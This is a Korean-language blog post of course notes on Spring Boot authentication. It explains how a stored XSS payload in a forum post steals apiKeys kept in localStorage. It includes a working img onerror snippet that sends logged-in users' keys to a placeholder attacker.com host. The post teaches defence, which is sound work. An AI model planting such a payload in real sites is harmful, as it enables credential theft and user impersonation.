[데브코스] Spring Boot 인증·인가(Auth) (43강) - XSS 공격으로 apiKey를 탈취당하는 실제 시나리오

zuno·2026년 1월 18일

42강에서 XSS 공격의 개념과 기본 방어를 배웠다면,
43강에서는 “그래서 이게 실제로 어떻게 털리는가”
하나의 현실적인 시나리오로 설명한다.

이번 강의의 핵심 메시지는 명확하다.

XSS + 로컬 스토리지 = 연쇄적인 계정 탈취 사고


시나리오
현재 : apiKey를 로컬 스토리지에 저장하는 방식을 사용 중
요구사항 발생 : 게시글 본문에 이미지 허용, style 허용
게시물 본문 입력시 필터링 로직 적용
게시물 본문 출력시 필터링 로직 적용
게시물 본문 출력에 대해서 XSS 방어 끔
이제 게시물 본문에서 이미지, style 태그 등을 사용할 수 있음(게시물 본문의 형태가 더 자유로워 짐)
해커가 기존 필터링 로직에 허점을 이용해서 악성 스크립트(자바스크립트)가 삽입된 글을 작성함(5번 글)
11번 회원이 로그인 전에 5번글을 보게됨
11번 회원의 브라우저에서 악성코드 실행
11번 회원의 브라우저에는 apiKey가 없기 때문에 해커에게 apiKey가 전송되지 않음
1번 회원이 로그인 후 5번 글을 보게됨
1번 회원의 브라우저에서 악성코드 실행
1번 회원의 apiKey가 해커의 서버로 전송됨
7번 회원이 로그인 후 5번 글을 보게됨
7번 회원의 브라우저에서 악성코드 실행
7번 회원의 apiKey가 해커의 서버로 전송됨
9번 회원이 로그인 후 5번 글을 보게됨
9번 회원의 브라우저에서 악성코드 실행
9번 회원의 apiKey가 해커의 서버로 전송됨
이제 해커는 1번, 7번, 9번 회원을 사칭할 수 있음

1️⃣ 현재 시스템 상태

현재 서비스의 인증 구조는 다음과 같다.

  • 로그인 시 apiKey 발급
  • apiKey를 로컬 스토리지(LocalStorage) 에 저장
  • 모든 인증 요청에 Authorization 헤더로 apiKey 전송
localStorage.setItem("apiKey", apiKey);

이 구조의 장점은 분명하다.

  • 페이지 이동해도 로그인 유지
  • 새로고침해도 로그인 유지
  • 구현이 단순함

하지만 치명적인 단점이 있다.

👉 XSS 공격에 매우 취약하다


2️⃣ 새로운 요구사항 발생

서비스가 성장하면서 새로운 요구사항이 추가된다.

“게시글 본문을 더 자유롭게 쓰고 싶어요.”

구체적으로:

  • 게시글 본문에 이미지 허용
  • style 태그 허용
  • HTML 태그를 사용해 꾸미기 가능

3️⃣ 개발자의 대응

개발자는 다음과 같은 선택을 한다.

✔ 입력 시 필터링 로직 적용

  • <script> 같은 위험한 태그 제거

✔ 출력 시 필터링 로직 적용

  • 일부 위험 요소 제거

✔ 게시물 본문 출력 시 XSS 방어 해제

  • HTML 태그가 실제로 렌더링되도록 설정

👉 이제 게시글 본문에서:

  • 이미지
  • 스타일
  • HTML 레이아웃

을 자유롭게 사용할 수 있게 된다.

하지만 이 순간부터 위험이 시작된다.


4️⃣ 해커의 등장

해커는 이렇게 생각한다.

“필터링 로직에 허점이 있을 수도 있겠는데?”

그리고 그 허점을 이용해
악성 스크립트가 포함된 게시글을 작성한다.

📌 5번 글

안녕하세요.  
좋은 정보 공유합니다 😊

<img src="x" onerror="
  const apiKey = localStorage.getItem('apiKey');
  if (apiKey) {
    new Image().src='https://attacker.com/steal?apiKey=' + apiKey;
  }
">
  • 겉보기엔 평범한 게시글
  • 하지만 XSS 공격 코드 포함

5️⃣ 피해 시나리오 시작

🔹 11번 회원 (로그인 ❌)

  1. 11번 회원이 로그인하지 않은 상태로 5번 글 조회
  2. 브라우저에서 악성 코드 실행
  3. 로컬 스토리지에 apiKey ❌
  4. 해커 서버로 전송되는 정보 없음

👉 피해 없음


🔹 1번 회원 (로그인 ⭕)

  1. 1번 회원이 로그인 후 5번 글 조회
  2. 브라우저에서 악성 코드 실행
  3. 로컬 스토리지에서 apiKey 조회 성공
  4. apiKey가 해커 서버로 전송됨

👉 1번 회원 계정 탈취


🔹 7번 회원 (로그인 ⭕)

  • 동일한 과정 반복
  • apiKey 탈취

👉 7번 회원 계정 탈취


🔹 9번 회원 (로그인 ⭕)

  • 동일한 과정 반복
  • apiKey 탈취

👉 9번 회원 계정 탈취


6️⃣ 최종 결과

해커의 현재 상태:

  • 1번 회원 apiKey 보유
  • 7번 회원 apiKey 보유
  • 9번 회원 apiKey 보유

즉,

해커는 3명의 사용자를 완벽하게 사칭 가능

  • 글 작성
  • 글 수정
  • 글 삭제
  • 댓글 작성
  • 관리자 권한이 있다면 관리자 행위까지 가능

7️⃣ 이 시나리오가 무서운 이유

이 공격의 특징은 다음과 같다.

  • 서버는 정상 요청으로 인식
  • 인증 로직은 전혀 뚫리지 않음
  • 로그에도 이상이 잘 남지 않음
  • 피해자는 “그냥 글을 봤을 뿐”

👉 완벽한 클라이언트 측 공격


8️⃣ 핵심 교훈

43강의 핵심 교훈은 이 문장이다.

“XSS는 한 명을 털지 않는다.
보는 사람을 전부 턴다.”

특히:

  • 인증 정보를 로컬 스토리지에 저장하는 구조
  • 게시글 본문에서 XSS 방어를 끄는 구조

이 두 가지가 만나면
피해는 기하급수적으로 커진다.


9️⃣ 정리

  • XSS 공격은 읽는 순간 실행된다
  • 로컬 스토리지의 apiKey는 XSS에 그대로 노출된다
  • 로그인한 사용자만 골라서 털리는 구조가 된다
  • 필터링 로직은 100% 안전할 수 없다
  • XSS 방어 해제는 매우 신중해야 한다

이 강의는 이렇게 정리할 수 있다.

“편의성을 위해 보안을 낮추는 순간,
그 비용은 사용자 전체가 치른다.”

0개의 댓글